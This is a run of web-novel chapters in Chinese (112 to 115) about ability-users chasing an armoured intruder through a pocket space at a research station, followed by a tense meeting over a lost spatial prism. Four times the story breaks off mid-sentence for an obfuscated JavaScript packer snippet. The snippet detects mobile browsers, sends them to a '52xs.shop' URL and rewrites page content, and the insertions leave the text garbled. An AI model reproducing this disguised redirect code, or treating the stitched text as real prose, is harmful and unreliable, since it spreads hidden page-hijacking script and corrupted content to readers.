启明星站点并不算大，对于这事来个异能者来说，很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13901570|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快就能把所有地方翻个底朝天，当然前提是这里没有未知的密室，入侵者也没有额外的隐蔽手段。 随着他们不断向内推进，身后的空间暂时宣告安全，很快，异能者们就在两栋楼中间的巨大闸门相遇。 根据黎取刚刚提供的监控信息，那人就是在两栋楼的交界处消失的。 “第一栋楼搜索完毕，没有发现目标踪迹。”有人向临时指挥部汇报了情况，很快所有人都听到了新的指令。 “留三个人守在闸门口，剩下的人进入第二栋楼。”耳机里传来了因思禾的声音。 傅燃微微垂下眼皮，给安栩递了个眼神，示意他守在此处。 安栩点点头，站在原地看着他们的背影消失在走廊尽头，面前的闸门缓缓关闭，这场猫鼠游戏，猎手和猎物都进入了最后的捕猎场。 一进入二号楼，异能者们就兵分两路，几人直接上楼，而傅燃带着林豹双对一楼进行了检查。 “你今天有点焦躁，为什么？”林豹双暂时切断了通讯，伸手指了指傅燃的耳朵，对方如她所愿关上了麦克风。 “这不像你的风格，那个人不会是我们的对手，但你把安栩留在了外面，是为了防什么？”几人也合作很多次了，对彼此的行事作风都有了解，虽然不明显，但傅燃今天确实有些反常。 “……”傅燃没有回答，但却让林豹双更加确认了自己的猜测——在他们不知道的时候，有什么事情发生了。 两个人虽然在交流，但脚步并没有放慢，眼神在四处搜索，很快确定这一层并没有问题，因为一楼就是实验室，墙壁上全部都是大块的玻璃，一眼就能看到里面空无一人，实验室的大门也完好无损，没有被人强行破开的痕迹。 “行吧，你不想说就算了，只要打架的时候别走神就行。”林豹双耸耸肩膀，跟着他小跑上了二楼，两人一前一后走近这个楼层，却不约而同停下了脚步。 “不是，等等，我们刚刚应该只上了一层楼吧？”林豹双眉头紧紧拧在一起，远远就看见走廊里有几个异能者，是进入第二栋楼是分头行动的另一波人，显然他们要更早一步来到这里，“为什么这里是三楼？” 对面的异能者看见他们，伸手打了个招呼：“这一层我们已经检查过了，你们从几楼来的？” “一楼。”林豹双回答道。 对面的异能者耸耸肩：“我们也是，直接从一楼到了三楼，但那边说这栋楼的监控没有发现异常，还以为是我们自己出了什么问题。” “他是有备而来。”傅燃低声说道，林豹双明显感觉到他语气不好，眉眼间甚至透出淡淡的杀气。 傅燃突然想到了什么，伸手打开麦克风，在公共信道里询问：“二号楼二楼的人现在都还在房间里吗？” 林豹双听见耳机里传来的回答，眉头下意识锁紧：“什么叫监控一切正常，我们现在根本去不了二楼啊！” “转告因博士，我们在二号楼发现了异空间，不确定是来自入侵者的异能，还是他携带了空间棱晶。”傅燃说着，声音竟然突然变哑，“我们进不了二楼，现在申请异能豁免。” 112. 无人区（14） 所谓异能豁免，就是指作战人员在使用异能的过程中，一切以保障人员生命安全为中心，对周围的环境或建筑造成的损失将有联邦一力承担。 这一定程度上约束了滥用异能的行为，但同时也是对作战人员的保护。 所有人都听到耳机里传来一声为难的叹息。 “……我批准了，但还是要尽量避免损失。”因思禾说。 对于无人区来说，同样的资源要远比其他地方珍贵，如果随意破坏，也许联邦需要承受一个天文数字的修理费，而且这钱大概率要从本次计划的经费里走。 考虑到之后也许会发生的变故，经费本来就算得上很紧张了。 …… 简初沿着楼梯缓慢向上。 周围十分安静，只有她自己的脚步声。楼梯上布满污渍，比之前的走廊更甚，出乎意料的是在楼梯间并没有遇上什么意外，很快简初就来到了三楼…… 面前“2014”的门牌号似乎在嘲笑她的愚蠢。 “鬼打墙”三个字自然而然地跳了出来，简初摇摇头甩开这个想法，在异空间里，出现这样的情况属实正常。 现在一切都很明显了，异空间的范围就是整个二楼，而楼梯不过是一个被扭曲的通道，它的两端都与异空间相连，看来她不管是上楼还是下楼，最终都会回到这个地方。 难怪她明明可以进入楼道，精神力却只能在二楼的范围内盘旋。 那之前看到的黑影，会是始作俑者吗？对方的目的又会是什么？ 现在追究原因既不明智也不现实，她应当把更多的精力放在应付眼下的境况上。 异空间就只有这么大，一眼望到头的走廊显然没有第二个人存在，而之前的黑影出现在另一个她无法进入的楼梯间，显然对方并没有跟她处在同一个地方。 也许整个异空间被分割成了很多小空间，搭建者能够自由地出现在每一个地方，而她只能被关在这里。 经历过吴起的幻境，简初很快就想到了这样的可能性。 异空间的内部结构远不如外部坚固，换言之，她目前想要逃离整个异空间的难度很大，但想要离开这条走廊，还是有办法实现的。 在简初的指引下，精神力如同凝聚的水珠，不留缝隙地贴上走廊尽头的空气墙，试图在上面寻找到可能的裂缝。 “噗！” 一声轻微的爆炸声，有什么裹挟着风声朝简初后背飞速而来，她微微偏过脑袋，一颗子弹擦过她的耳边，嵌进了面前的空气墙中，下一秒仿佛失去了承托，当啷一声掉落在地。 这仿佛是一个信号，简初猛然转身，映在她眼底的人影瞬间放大。 金色的半透明触手陡然冒了出来，一左一右挡住对方的攻势，但来人的身法十分诡谲，令人始料未及地一扭身子，从侧面绕过触手，自下而上向简初的下颌挥出一拳。 一瞬间的金属反光闪到了简初的眼睛，她下意识眯了眯眼，匆忙伸手格挡对方的拳头。 “砰！” 沉闷的撞击声回响在整个空间里，剧烈的疼痛从骨缝渗出，迅速蔓延至整条手臂，几秒钟的时间似乎被无限拉长，简初清晰地听到自己的小臂骨裂开的声音。 两人一触即分，借着相撞的力道向截然相反的方向退去，但不到一秒，对面的身影再次像炮弹一样向简初射来。 飙升的肾上腺素压下了手臂的疼痛，简初迅速提膝曲肘，攻向对方腹部、下巴两个暴露的弱点，来人手臂上的金属色护甲十分显眼，她只要不是个蠢货，就不会埋头往上揍。 果不其然，对方瞬间明白简初的用意，他试图躲避，但因为速度太快，所以还是硬生生吃下了半招，简初再次听见骨骼碎裂的声音，不过这次声音的源头是对方的下巴骨。 一招狠辣的低扫腿紧随其后，男人形容狼狈，即将摔倒在地，但硬生生靠着手臂撑地转了一圈，瞄着简初的下颌来了个上勾拳。 可惜简初早有防备，在对方撑地而起的瞬间，小触手已经从后方袭来，提着对方的小腿直接将人甩了出去。 “砰！” 那人和走廊的墙壁相撞，发出清脆的金属撞击声，简初皱着眉头定睛一看，原本只包裹住那人双臂的金属色护甲不知何时延展开来，保护住了他的前胸后背。 但撞击的力道还是让人够呛，他低声咳嗽了几声，抬头看了简初一眼，竟然转头跑开了。 简初没有去追，她知道自己肯定追不上对方，毕竟这是在对方的地盘，贸然跟过去，也许会更加危险的陷阱等着自己。 她伸手摸了摸自己的小臂，因为惯用手的缘故，右手承受了更大的力道，所以此时的疼痛要更加明显，小触手晃晃悠悠缩回来，擀成薄片紧紧贴上了她的手臂，权当做临时的固定装置。 比起现实世界，这里的小触手没有他人能够看见的实体，很适合用来偷袭。 对方的突然袭击来得莫名其妙，除了温弗拉，简初自认为没有被卷入什么奇怪的事件中，而对方的攻势杀意很重，显然目的十分明确。 而且如果金属护甲才是对方的异能，那这个异空间是谁来搭建的呢？ 好一点的猜想就是跟上次一样，对方带了一块空间棱晶，坏一点的猜测，就是对方不止一个人。 简初无语地“啧”了一声，这条走廊里实在太“干净”，【点石成金】完全没有发挥的余地，她可用的攻击手段本就不多，现在更是雪上加霜。 背后的墙壁透出刺骨的冷意，从那人刚刚的行动来看，他显然无法穿透走廊的墙壁，无论是进来还是离开，都只能通过走廊尽头的两个楼梯间，这至少让简初可以有所防备。 他现在也许正看着她，寻找一个适合的机会一击毙命。 简初摸着手臂陷入沉思，楼梯间前的空气墙突然扭曲了一瞬，紧接着又迅速恢复平静。 …… “可以确定了，他在二楼构造了一个异空间。”崔斯特收起手里的便携小工具，其他异能者的眼神都黏在上面，直到他把工具收到口袋里都不舍得挪开视线。 这就是斯塔集团的实力，他们也好想拥有这样的工具。 崔斯特见多了这种眼神，内心早已没有波动：“我认为是空间棱晶，抓到人的话可以找一下，也许能根据上面的精神力水印找到棱晶的来源。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13917220|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “抓到人就没必要再研究空间棱晶了，直接审不就行了。”有异能者说道。 崔斯特微不可察地停顿一瞬，点了点头：“你说的也是。” “现在更重要的是赶紧破开异空间。”林豹双说，“其他的都先往后放放，这层楼几乎都是研究员，要是跟入侵者对上，几乎没有还手之力。” 想要让异空间崩散，只有两个方法，一个就是等它的维持时间到达上限自然消失，另一个就是物理击破，单纯从破坏异空间的角度来说，击碎位于内部的空间棱晶要更容易一些。 当然，这并不意味着外面的人无法解决这个问题，不过难度要大一些。 “我们这么多人足够。”傅燃说，“开个入口是没问题的，能进去一切都好办。” 他说的话没有人反对，这是现在最简单直接的方法了。 眨眼间，各色的异能不要钱一样砸落，三楼的楼梯口如同深不见底的黑洞，沉默地吞噬所有落在上面的攻击，直到现在，众人才看出这里的异常。 空气开始不断蜷曲又伸展，像一块柔软的丝绸不断承接砸在上面的石块，最终被其中一个锋利的石子划开了一道裂隙。 众人看去，里面楼道的墙壁上正写着数字“2”。 …… 有人踏进了走廊。 他的嘴唇边有干掉的血迹，下颌角能看见一块不甚明显的凹陷，那正是简初的杰作。 身上的金属护甲裹住双臂、腰腹、胸口，反射着寒光，但看上去又很贴身，像是柔软的布料吸附在身上，只有跟他打过架才知道这玩意有多坚硬。 从刚才开始，走廊里的猎物就不再像之前那样警惕地昂着头，大概是短暂的休息让手臂的疼痛变得更加剧烈，她双臂交叉环抱着自己，似乎想通过压迫减轻一些疼痛。 他清楚这样的感受，骨头碎裂的痛楚仿佛真的从自己的四肢百骸传来，让他的眼睛变得通红。 “砰！” 他果断拔下腰间的枪，尽管其中的子弹已经寥寥无几，但从刚刚的交手看来，这人不是可以轻易对付的，这样的距离足够安全，才能让他安心。 靠在墙壁上的人影猛然抬头，甚至已经抬起腿想要躲避，但一切已经来不及了，子弹飞速射出带起一阵罡风，毫无阻碍地、精准地穿透了她的胸口，巨大的冲击力让子弹带起一蓬鲜红的血花，跟着它一起嵌在墙壁上。 “噗通！” 女孩干脆利落地面朝下倒在地上，身体下方不断溢出鲜血，头发也乱糟糟地铺在地上，看起来死得透透的。 来人叹了一口气，尽管不知道自己为什么要叹气。 沉闷的脚步声在空间内响起，他走近地上的尸体，伸手捏起对方的胳膊，看样子是想把人翻过来。 尸体被翻了个身，它的鼻孔和嘴里都溢出一点鲜血，眼睛无神但怒瞪着，似乎在质问来人为什么要杀死自己。 被注视的的人表情依旧平静，并没有所谓面对受害者的心虚，更没有打算伸手合上它的眼皮。 两双眼睛就这么对视着，他先瞥开眼神，但与此同时，“尸体”的眼神动了动，跟着他的一起落在了同一个地方。 113. 灯下黑（15） 下一秒，地面上的尸体如同幻影般消散，取而代之的是一双黑亮的、饱含杀意的瞳孔，以及看似空无一物，却莫名让人心惊胆战的手。 简初握着小触手化作的匕首，划开了对方的喉咙，也正是如此近的距离，才让她看到对方的金属护甲宛如液体一样蔓延，护住了他即将被切断的脖子。 血液如同喷泉一样溅射而出，与此同时，简初越过袭击者的肩膀，看见他身后的楼梯口突然冒出几个身影。 最前方的人抬手，枪击声陡然炸响，袭击者反应过来想要卧倒，却被人掐着脖子摁在了原地。 他的瞳孔骤然紧缩，对上简初漆黑的瞳仁，下一秒，子弹瞬间炸掉他半个耳朵，鲜血如同炸开的花朵，再次喷了简初一脸。 简初：…… 幸好没张嘴。 她伸手抹了抹自己的脸，入手是湿哒哒黏糊糊的手感，简初将手举到自己面前，满手的猩红让她“大失方寸”，只能抬起头无措地看向进来的那一群人。 崔斯特在楼道口站定，举枪瞄准了几乎挡住他身后人的凶手。这个点位没有遮挡，很适合进行射击，但就在他刚刚瞄准对方太阳穴的瞬间，那道身影消失在了视野里。 傅燃脚下陡转，迅速回头——他们只能从异空间被撕开的口子出入，行动远远不如入侵者来得方便。 “别让他跑了！”崔斯特匆匆收起枪，紧随而去，异空间还没有完全崩塌，外头能接收到的信号寥寥无几，他只能回头朝想要跟来的下属喊道，“你们留几个人在这，防止他又回头。” 人去哪了？ 离开异空间，摆在傅燃面前的只有空无一人的楼梯间，正当他们陷入抉择之时，耳机里突然传来黎取的声音。 “他去一楼了！看起来想要离开！闸门应该可以拦住……不对！他想要破门！” 对方的速度快到超乎寻常，傅燃不再犹豫，直接撑过楼梯扶手一跃而下，扭头就看到已经接近闸门的人影。 他迅速抽出腰间的匕首，正要加速上前，就看见那人从怀里掏出什么，瞬间，一个全新的异空间在这里展开，傅燃脚下一个踉跄，再抬头就看见闸门大开，入侵者的身影消失在前方的拐角。 他居然还有一块空间棱晶？！ 这可不是什么可以随便弄到手的东西，这人到底是什么来头？ 傅燃紧咬牙关，脚下速度再次加快，掠过走廊仿佛一阵带着残影的风，掌中的匕首突然散发出幽幽的暗光。 他眉头压低，仿佛正在忍耐什么痛苦，反握匕首在空气中留下一道刀光，空气爆出尖锐的哨音，异空间的边界竟然就这么被破开了。 “你怎么在这里？”林豹双和安栩看见突然出现的傅燃，心下都是一惊，在看到前头两人陡然消失时，她心中就有不妙的预感，闸门被黎取控制打开，但却依旧看不到傅燃和那名入侵者的身影。 如今傅燃突然出现，再次证实了她的猜测。 “你用异能了？！你疯了！！！” 对方却一个眼神都没有留给她，出现在走廊的下一秒就紧追着入侵者而去。 林豹双咬咬牙，转身跑进另一条走廊，试图绕道阻击入侵者。 不远处的身影出现在傅燃眼底，对方因为受了伤，所以行动的速度不如刚才，傅燃瞬间提快速度，一刀横劈了过去。 “铛！” 清脆的金属碰撞声，巨大的冲击力震得他虎口微微发麻，短匕甚至没有在对方的金属护甲上留下一点伤痕。 入侵者明显无心战斗，他另一只手正捂着自己的脖子，指缝里源源不断涌出鲜血，让他原本就不太健康的脸色更显灰败。 傅燃微微垂眸，就看到对方的掌心有一道光闪过，正是空间棱晶。 入侵者注意到他的视线，毫不犹豫伸手将空间棱晶抛了出来，傅燃伸手接过，五指用力就将其捏了个粉碎，细密的尖刺扎进他手里，渗出星星点点的红色，但现在这里并没有人在意。 周围原本就开始不稳定的场景突然变得斑驳，异空间正在以极快的速度坍塌。 “呵。”那人突然冷笑一声，下一秒竟然松开捂住伤口的手，直接伸手握上短匕。 傅燃清晰地看到在对方用力的同时，手臂上的金属护甲仿佛拥有了生命一般涌向了五指，下一秒，锋利的刀锋在对方的掌心应声而碎。 开什么玩笑，这可是协会的特质武器，就算是异能者也不可能轻易将其折断，更何况是这样整个碎开。 入侵者没有错过傅燃愣神的瞬间，他手腕一翻五指成爪，直直戳向傅燃的双眼，试图将他的眼睛抠出来，傅燃抬手格挡侧身避开，但入侵者并不恋战，见攻击落空，转头就往外跑。 那边林豹双刚从交叉口冒出头，就看见傅燃站在原地，丝毫没有要追上去的样子，一时间她也不知道自己该做什么。 “别追了。”傅燃面沉如水，在独立通讯中把情况转告给黎取，才低下头把空间棱晶的碎片收拢在一起。 林豹双走过来，看见地上的刀刃碎片，顿时失语。 “你把这些东西带去前厅，我回那边。”傅燃将一把碎片塞到林豹双手里，随意向后指了指。 林豹双显然知道他要去哪里，二号楼也许会有什么残存的信息，傅燃必须要亲自去看看。 两人就此分开，听到动静的安栩匆匆赶来，被林豹双捏着脖子拖走了。 等傅燃回到二楼，看到的画面就是一群人围着茫然的简初，而她身旁的莫景正板着一张脸，阻止他们过度接近。 “你们离远一点！”莫景看上去不是很会骂人，只能抬着胳膊把他们往外推。 “这是在做什么，都让开！”傅燃眉头紧皱，特战中心的几个人见他过来，仿佛又有了主心骨，毕竟这是傅遥亲自任命的临时副队长，他们可以毫无负担地执行他的命令。 崔斯特抬手示意斯塔集团的安保人员撤开，两方刚刚才显露出的矛盾苗头在他的“退让”下消失，眨眼间，简初周围的人就换了一波。 莫景一抬头，看到是之前劝简初“交友需谨慎”的那人，眉头稍微松快了一些，不过也没有给太多好脸色：“劳驾，能先协调一个医生吗？” 她话音刚落，楼梯口就绕出几个人来，其中一个提着药箱“噔噔噔”跑到简初面前，开始着手检查她的情况。 “那人跑了。”黎取在傅燃耳边小声说道，林豹双和安栩正留在前厅收拾残局，据说这里有人受伤，他便马不停蹄带着人过来了。 傅燃垂着眼皮，手臂传来无法抑制的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13947887|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧痛，他没忍住用另一只手强行握住它，防止出现过于显眼的抖动：“我知道了。” “这才哪到哪，就开始不平静了，这可不是个好兆头。”黎取叹了口气，见傅燃只是盯着医生，没有回答的意思，才把头转向了那边，“情况怎么样，严重吗？” “目前看来没有什么严重的外伤，胳膊受伤了？”后一句明显是对简初说的，却让傅燃的眼皮下意识颤了颤。 “先带去医务室。”傅燃说道，皱着眉头看着简初被人一左一右扶起来，把嘴里那句“能用异能恢复吗”重新咽回了肚子里。 他刚想上前帮忙，就看见莫景转到简初跟前，把人背了起来，于是脚步硬生生顿住，愣是没叫人看出什么不对来。 …… 医务室内，莫景正陪在简初身边，因思禾、傅遥、米勒尔等人一个不落，站在隔了几步的距离之外瞧着，傅燃安静地抱胸站着，视线从伊森·斯塔身上掠过，发出一声意味不明的冷笑。 “咳咳。”黎取用胳膊肘怼了怼他，等傅燃看过来，才用口型跟对方交流，“怎么了？” 傅燃冷漠的眼神在他脸上停顿两秒，又一脸无语地转向其他地方。 黎取：？？？ 这边医生终于检查完，最后伸手摸了摸简初的额头，才放下心来：“幸好你有异能，骨裂已经恢复了，不过最近还是要注意休息，尽量不要去想今天发生的事。” 一旁的莫景满脸严肃地点头，似乎又接到了什么重大的任务。 闻言，等候在一旁的因思禾等人终于走上前，看上去颇为亲和地坐在简初旁边：“你现在这好好休息，回头还要麻烦你把异空间里的情况说一说，方便我们调查。” 见简初点头，他们终于结伴离开，看样子是要去讨论现在的情况。 “你留在这。”傅燃跟黎取说道，“别让其他人离她太近。” 黎取接受了这个有些莫名其妙的任务，不知道脑补了什么，一脸严肃地目送傅燃的身影消失在大门处，紧接着转过头，大惊失色地看到已经有人凑到了简初的病床前。 不过那人被莫景一胳膊杵远了，这又让黎取松了口气。 伊森只觉得莫景的敌意来得莫名其妙，明明以前还是可以正常交流的，怎么几天的时间就变成了这样，在他不知道的时候到底发生了些什么？ “咳。”简初伸手拽住莫景的衣角，把她往后头拉了拉，伊森就神奇地看到这人好像被顺毛的炸毛小猫，一脸乖巧地缩在主人身边打着呼噜。 伊森：……是这个世界太疯狂，还是他自己疯了？ “那人逃了，应该也没机会回来，你放心休息。”他就这么站在病床的那头，干巴巴地吐了一句，旁边虎视眈眈的眼神实在让伊森难以招架，在这样的情况下也没办法跟简初交流更多的信息，只能嘱咐她注意身体，便离开了医务室。 于是，莫景的眼神顺理成章地落在了黎取身上。 “你还有什么事吗？”炸毛小猫低吼警告。 黎取面色平静地推了推此时并不存在的眼镜：“我是特战中心的，根据我们队长要求，留在这里保护你们的安全。” 这样的理由让莫景无法拒绝，眯着眼打量了黎取两下，才转头对简初嘘寒问暖起来。 114. 灯下黑（16） 短短几个小时，这是这间小会议室第三次迎来客人，这比它以往一周被使用的次数都要多，而在场的只有因思禾、米勒尔，以及负责安保的傅遥、傅燃和崔斯特。 “哗啦”一声，一个小布袋被因思禾扔在桌面上，里面好像是什么东西的碎片，撞击间还发出清脆的声响。 “米勒尔先生，我认为你应该看看这里面的东西。”因思禾的微笑此时并不那么友善。 米勒尔露出了罕见的茫然，他眉头紧蹙，先是看了眼周围人的脸色，却发现并不能看出什么，才伸手取过布袋。他刚提着袋子的一角把它倒过来，零零散散的碎片粉末就叮铃哐啷掉了一桌子。 “这是？”米勒尔犹豫着伸出手拈了一点碎片，指尖搓了搓，它们就毫无阻碍地化成一堆亮晶晶的粉末，嵌在指纹里，看上去很难清理。 因思禾冷笑了一声：“米勒尔先生竟然认不出自家的东西吗？” “怎么可能？！”米勒尔大惊失色，立刻又拿起一块碎片，可惜这些举动不过是徒劳，仅凭肉眼确实无法分辨出空间棱晶的来源，只有依靠检测仪器才能根据其中残留的异能波动，找到其对应的异能者以及所属的机构。 不过对于一些没有登记在册的“黑户”，这个方法是行不通的。 “你们上次来，竟然把这种东西丢在了无人区？”因思禾怒极反笑，“联邦实验条例都忘掉狗肚子里了？你以为无人区里没有人，东西丢了就丢了？现在睁大眼睛看看，无人区里头除了异种，还有什么东西！！！” 因思禾一拍桌子，上面亮亮的粉尘瞬间蓬开，但是这会米勒尔并不敢做多余的动作。 “非常抱歉，我会让人去查明当时的情况，这是我管理失职，有什么处罚我都认。”米勒尔这招以退为进用得炉火纯青，毕竟现在因思禾代表的是联研所，斯塔集团家大业大，也没到能和联邦官方叫板的程度，更何况这次确实是他这里出的问题。 崔斯特很有眼力见，原本只是安安静静坐在一旁的他听见米勒尔的话，立刻把这件事接了下来：“抱歉因博士，当时前往无人区的工作都是交给我一手安排的，愧对先生的信任，出现这种情况是我工作失职，我会尽快查清事实的。” 米勒尔再怎么样，做事的基本准则还是有的，毕竟东西已经摆到他面前，摆明了不怕他拿去自行检查，再者……他其实是知道上次有很多东西丢在无人区腹地的。 因为带着它们的人都死了，没有人来回收这些工具。 现在众人已经进入无人区，计划已经无法叫停，因思禾为了整个团队内的团结，大概率会对此轻拿轻放，这样一来，他的表态就会成为关键。 在座的哪个不是人精，见米勒尔顺着台阶下来，还顺手给了自己一个“耳光”，因思禾脸色才平和了些许。 “除了这个东西，上次还有什么被丢在无人区了？”她问。 这是一个很难回答的问题。 如果米勒尔说“还有”，就相当于把台阶一脚踢飞，因思禾必定会连着手上的空间棱晶一起追究斯塔集团的责任，但如果他回答说“没有”，一旦后面再出现什么情况，绝对会面临更严厉的问责。 现在只能在一堆答案里，选择一个尚有转圜余地的…… “这……我现在不敢妄下定论，我马上就和崔斯特来查明情况。”米勒尔的表情十分尴尬，“实在是我管理不力，我们会尽快出一份情况说明交给您的。” 其实因思禾已经给米勒尔留了面子，否则现在会议室里就远不止他们几个人了。 听到这番托词，因思禾兴致缺缺，但她又不能现在就把关系闹僵，目前他们还是很需要斯塔集团的安保力量的，何况……这老狐狸绝对藏着事没说，之后还得想办法撬开对方的嘴。 在场谁不知道外头肯定还丢了不少玩意，既然空间棱晶能被人拿去用，其他的东西难道就不会吗？ “行了，早点把问题弄清楚吧，另外，把你们上次到无人区时携带的设备工具清单给我，以及今天晚上的情况报告，两个小时后送到我房间。”因思禾摆摆手，米勒尔当然知道她的意思，点头应承下来，便迅速带着崔斯特离开了会议室。 剩下的人要开什么小会，暂时不是他能参与的，现在能把空间棱晶的问题“圆”过去已经属实不易，就不要再刷额外的存在感了。 外人一走，傅遥靠上椅背，懒洋洋地动了动胳膊：“这可不是个小问题啊，你觉得米勒尔知不知道异种人的存在啊？” 因思禾冷笑一声：“你还记得来之前看到的斯塔集团账单，无人区计划后的大笔支出，现在看来，八成是给的补偿款，他要是知道里面的真正情况，就不会这么轻易跟过来了。” “就算是在无人区腹地，异种人也不可能随意行动，毕竟里面的异种也不是吃素的，既然今夜的袭击者手上有空间棱晶，我怀疑他们上次的人未必是遭遇异种群才死亡的。”傅遥皱着眉头，如果是这样，那么他们将会面对一群拥有先进设备的异种人。 但他们又是从何得知这些东西的使用方法的呢？这可不是一些可以轻易获得的信息。 “不论如何，他现在应该也有点数了，不长眼的东西，谁给他那么大胆子私自派人进无人区的。”因思禾骂道。 另外两人并没有露出意外的神情。 出发之前，傅遥已经看过因思禾交给她的全部资料，里面当然对“异种人”进行了详细的描述，而傅燃作为中庭协会的正式会员，理所当然早就知道这些机密了。 无人区并不是真的没有人，它的腹地除了异种，同样生活着一群人类，但由于他们能够在巨量的辐射下安然无恙地生活，所以暂时被联邦称为“异种人”，当然，这并不会是他们最终的命名。 这件事在无人区研究所里也是最高机密，只有杨树所长的心腹知晓内情，毕竟能有资格进入最深处的站点开展研究活动的，只有能力最强、最被看好的那几个人。 “之前只是检测到人类活动的痕迹，这次算是正面交锋，你觉得他实力如何？”因思禾问。 两人的目光不约而同落在了傅燃身上。 这次傅遥并没有轻易动手，毕竟他们最大的目的是保证人员的安全，当时前厅的那几个异能者里，她算是战力巅峰，如果随意离开被人钻了空子就麻烦了。 所以能称得上是“正面交锋”的只有傅燃一人。 傅燃垂着的眼睫抖了抖，才慢悠悠吐出两个字：“如果用异能的话，能杀，但是……” “他的异能很奇怪，不，我甚至不知道那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13957760|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是他的异能。”他的表情看上去非常困惑。 “你是指他身上的那层金属护甲吗？”因思禾问，那东西从监控中看上去很好理解，就是类似义肢的强化类异能。 “那东西带来的战力提升超出了我的预计，”傅燃将一个刀柄放在了桌面上，“协会的匕首，虽然不是最新款，但也算得上是坚不可摧。” 而此时，匕首的刀刃消失无踪，这让因思禾和傅遥的脸色都不太好看。 “最重要的是，”傅燃犹豫了两秒，最终还是决定开口，“只是我的感觉，他身上的护甲，好像是有意识的，当然我不是指它有生命。” “等等，你要知道很多异能确实是会动的，他可以凭意念控制护甲的保护范围，这并不能代表那东西……有意识。”因思禾皱眉说道。 她知道傅燃的性格不是会无的放矢的，但这实在是有些匪夷所思，至今联邦还没有出现过异能拥有自我意识的先例，这实在是有些耸人听闻。 如果这是真的，那后面会带来一连串连锁的大麻烦。 “所以我说了只是感觉，”傅燃叹了口气，决定转移话题，“另外还有一个我不能理解的地方，就是他的护甲并没有保护头部，而是包裹住相对没那么重要的手臂，甚至是手指。” 这是件很反常的事情，头部几乎是所有人在战斗时需要重点保护的部位，而入侵者却完全将它暴露在了空气中。 “也许是异能的限制。”因思禾说道，除此以外它暂时想不到别的可能，“而且麻烦的是他能摸到启明星来，这个距离，如果是徒步他根本无法携带足够的物资，时间也无法预计，除非他的目标本身就是启明星，而不是我们。” “附近也许有驻地。”傅遥猜测道。 说实话，他们肯定是希望这次计划可以顺利开展，可往往天不遂人意，这上来就是个王炸，如果真如傅遥所说，原本集居在无人区腹地的异种人突然离开自己的家园，这可并不是一个好信号。 要么是无人区深处发生了什么变故，要么就是外面有什么吸引了他们，况且目前看来，至少今天的入侵者对他们并不友善。 “我得跟杨树那边交流一下情况，毕竟是在我们到了之后出的事。”因思禾头疼地揉了揉额角，突然想起了什么，又抬头看向傅燃，“你最近情况还可以吗？虽然来之前让你找医生做了精神疏导，但在问题彻底解决之前还是要尽量避免过量使用异能的。” “最近……没发作过，应该没问题，不到万不得已我不会用异能的。”傅燃点点头。 傅遥多看了他一眼，便提出告辞，带着傅燃离开了会议室。 两人一前一后走在空旷的走廊里，其他人估计在忙着处理前厅和二号楼的问题，要不就是被各自的负责人召集开会，总之一路走来没有遇到任何人。 傅遥见这人没有要开口的意思，终于先憋不住开口了：“你说实话，到底瞒我什么了，别想混过去，你刚刚那表情我从小看到大，每次心虚都这样垂着眼皮，假装很淡定的样子，其实心里已经慌死了吧！” 她说着，嗓门逐渐变大，甚至开始进行“不负责任的揣测”。 “没有……”傅燃觑了她一眼，又迅速垂下眼皮，“不过是来之前，忘记找医生做疏导罢了。” 115. 无人区（17） 傅遥自认为也是个见过大风大浪的人，但听到傅燃若无其事地开口，还是感觉到了一丝心梗。 可木已成舟，现在因思禾的身份也不同往日，她不能像以前那样厚着个脸皮带着傅燃去找对方帮忙。更何况，以傅燃的状况，每次做完疏导必定要停用异能，休息一段时间的，但现在……他们不可能这么做，不仅是因为傅燃自己有任务，更重要的是在无人区他是不可能不动用异能的。 “你要气死我。”傅遥闭眼深吸了一口气，“现在说这些也晚了，你给我少用点异能，听见没？我们这里这么多人，很多事都不必要由你来做。” “嗯，我自己有数。”傅燃含糊地应道，他手指微微动了动，指尖带着一丝掩饰之意相互搓了搓。 傅遥冷笑一声：“你最好是，从现在开始没有意外情况不许离开我的视线，听到没？” 